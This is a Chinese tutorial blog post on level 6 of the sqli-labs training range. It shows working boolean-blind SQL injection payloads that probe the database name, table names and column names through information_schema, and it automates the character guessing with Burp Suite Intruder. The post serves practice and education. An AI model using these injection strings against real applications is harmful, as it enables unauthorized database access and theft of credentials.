免责声明
本博客文章仅供教育和研究目的使用。本文中提到的所有信息和技术均基于公开来源和合法获取的知识。本文不鼓励或支持任何非法活动,包括但不限于未经授权访问计算机系统、网络或数据。
作者对于读者使用本文中的信息所导致的任何直接或间接后果不承担任何责任。包括但不限于因使用本文所述技术而可能导致的法律诉讼、财产损失、隐私泄露或其他任何形式的责任。
在进行任何渗透测试或安全研究之前,请确保您已获得所有必要的授权,并遵守适用的法律和道德准则。未经授权的安全测试可能违反法律,并可能导致严重的法律后果。
本文中的内容仅供参考,不应被视为专业建议。在进行任何安全相关活动之前,建议咨询具有相应资质的专业人士。
第六关
这一关可以使用报错注入、布尔盲注、时间盲注,报错注入第五关用过了具体参考上期文章sqli-lab靶场教程(1-5关),第六关这里我们使用布尔盲注。
判断闭合类型
?id=1\
发现闭合类型为字符型双引号闭合

判断数据库名的长度
?id=1" and length(database())>=8--+
这里判断的方法是使用and的机制让and两边都为true才会回显网页输出的内容,这里我们使用手工加bp爆破
经过判断发现数据库名长度为8

这里我们可以使用substr截取字符进行ascii编码然后判断大小来确定是哪个字符
?id=1" and ascii(substr(database(),1,1))>=115--+

经过判断发现数据库第一个字母ascii的编码为115,通过对照ascii码表发现115为小写s,所以数据库第一个字母为s,以此类推剩下的字符
![]()
判断第一个表单的第一个字符
?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1))>=101--+

对照ascii表发现第一个表单的第一个字母为e
![]()
接下来我们使用bp爆破其他的字符,这里我使用的是kali上的bp,先创建一个36位字母的字典

判断表单名长度
?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))>=29--+
长度为29

访问网页,并写入payload
http://192.168.153.39:8081/Less-6/?id=1" and substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,1)='str'--+
打开bp代理进行抓包,并将包发送给攻击模块

在攻击模块中设置攻击节点和攻击模式

设置完成是这样的

设置payload,第一个攻击节点设置为数字型,数据库长度为8,所以我们设置长度为8步长为1

设置第二个攻击节点,加上我们创建的字典

爆破完成,根据位数进行排序,这里没有第七位的原因是第七位是逗号,而字典中没有逗号,所以没有显示,第七位之前就是第一个表单名emails,要想爆破后续名单名字就需要补全数字和字典

判断列名长度
?id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))>=20--+

爆破列名
?id=1" and substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,1)='str'--+

爆破用户名和密码与上面步骤一样。
1025

被折叠的 条评论
为什么被折叠?



